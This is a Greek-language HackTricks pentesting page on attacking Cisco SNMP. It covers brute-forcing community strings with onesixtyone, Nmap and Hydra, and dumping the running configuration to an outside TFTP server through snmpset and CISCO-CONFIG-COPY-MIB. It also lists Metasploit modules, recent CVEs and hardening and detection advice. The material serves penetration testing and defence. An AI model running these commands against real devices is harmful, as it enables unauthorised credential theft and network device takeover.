Cisco SNMP

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Pentesting Cisco Networks

SNMP λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για trap μηνύματα. Αυτό το πρωτόκολλο βασίζεται σε community strings, που λειτουργούν ως απλά "passwords" που επιτρέπουν την επικοινωνία μεταξύ SNMP agents και managers. Αυτές οι συμβολοσειρές καθορίζουν το επίπεδο πρόσβασης, συγκεκριμένα μόνο ανάγνωση (RO) ή ανάγνωση-γραφή (RW) δικαιώματα.

Ένας κλασικός—αλλά ακόμα εξαιρετικά αποτελεσματικός—άξονας επίθεσης είναι να brute-force community strings προκειμένου να αναβαθμιστεί από μη αυθεντικοποιημένο χρήστη σε διαχειριστή συσκευής (RW community). Ένα πρακτικό εργαλείο για αυτή την εργασία είναι onesixtyone:

bash
onesixtyone -c community_strings.txt -i targets.txt

Άλλες γρήγορες επιλογές είναι το Nmap NSE script snmp-brute ή το SNMP module του Hydra:

bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)

Αν αποκτήσετε μια RW κοινότητα, μπορείτε να αντιγράψετε την τρέχουσα διαμόρφωση/διαμόρφωση εκκίνησης σε έναν διακομιστή TFTP/FTP χωρίς πρόσβαση CLI εκμεταλλευόμενοι το CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96). Δύο κοινές προσεγγίσεις είναι:

  1. Nmap NSE – snmp-ios-config
bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1

Το σενάριο αυτοματοποιεί τη λειτουργία αντιγραφής και εκτυπώνει τη διαμόρφωση στην έξοδο stdout.

  1. Χειροκίνητη ακολουθία snmpset
bash
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo

Οι αναγνωριστές γραμμών είναι one-shot; η επαναχρησιμοποίηση εντός πέντε λεπτών προκαλεί σφάλματα inconsistentValue.

Μόλις το αρχείο είναι στον διακομιστή TFTP σας, μπορείτε να ελέγξετε τα διαπιστευτήρια (enable secret, username <user> secret, κ.λπ.) ή ακόμη και να στείλετε μια τροποποιημένη ρύθμιση πίσω στη συσκευή.


Metasploit goodies

  • cisco_config_tftp – κατεβάζει το running-config/startup-config μέσω TFTP μετά την κατάχρηση του ίδιου MIB.
  • snmp_enum – συλλέγει πληροφορίες αποθέματος συσκευών, VLANs, περιγραφές διεπαφών, πίνακες ARP, κ.λπ.
bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

Πρόσφατες ευπάθειες SNMP της Cisco (2023 – 2025)

Η παρακολούθηση των συμβουλών των προμηθευτών είναι χρήσιμη για τον προσδιορισμό ευκαιριών zero-day-to-n-day μέσα σε μια εμπλοκή:

ΈτοςCVEΕπηρεαζόμενη δυνατότηταΕπιπτώσεις
2025CVE-2025-20174Υποσύστημα SNMPΈνα κατασκευασμένο πακέτο οδηγεί σε αυθεντικοποιημένο DoS (επανεκκίνηση) σε IOS/IOS-XE (v1/v2c/v3).
2024CVE-2024-20373Διαχείριση ACL IPv4Κακώς ρυθμισμένα εκτεταμένα ACL αποτυγχάνουν σιωπηλά, επιτρέποντας μη αυθεντικοποιημένη SNMP polling όταν είναι γνωστή μια έγκυρη κοινότητα/χρήστης.
2025(χωρίς CVE ακόμα)Παράκαμψη περιορισμού ρύθμισης SNMPv3Ένας έγκυρος χρήστης v3 μπορεί να κάνει polling από διευθύνσεις που θα έπρεπε να απορρίπτονται.

Η εκμεταλλευσιμότητα συχνά εξαρτάται από την κατοχή της κοινότητας ή των διαπιστευτηρίων v3—ένας ακόμη λόγος για τον οποίο η βίαιη δοκιμή τους παραμένει σχετική.


Συμβουλές Σκληροποίησης & Ανίχνευσης

  • Αναβαθμίστε σε μια διορθωμένη έκδοση IOS/IOS-XE (δείτε τη συμβουλή της Cisco για το CVE παραπάνω).
  • Προτιμήστε SNMPv3 με authPriv (SHA-256/AES-256) αντί για v1/v2c.
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  • Δέστε το SNMP σε ένα VRF διαχείρισης και περιορίστε με τυπικά αριθμημένα ACL IPv4 (τα εκτεταμένα ονομασμένα ACL είναι επικίνδυνα – CVE-2024-20373).
  • Απενεργοποιήστε τις RW κοινότητες; αν απαιτείται λειτουργικά, περιορίστε τις με ACL και προβολές: snmp-server community <string> RW 99 view SysView
  • Παρακολουθήστε για:
  • Κορυφές UDP/161 ή απροσδόκητες πηγές (κανόνες SIEM).
  • Εκδηλώσεις CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource που υποδεικνύουν αλλαγές διαμόρφωσης εκτός ζώνης.
  • Ενεργοποιήστε SNMPv3 logging και snmp-server packetsize 1500 για να μειώσετε ορισμένα διανύσματα DoS.

Αναφορές

  • Cisco: Πώς να αντιγράψετε διαμορφώσεις προς και από συσκευές Cisco χρησιμοποιώντας SNMP
  • Cisco Security Advisory cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks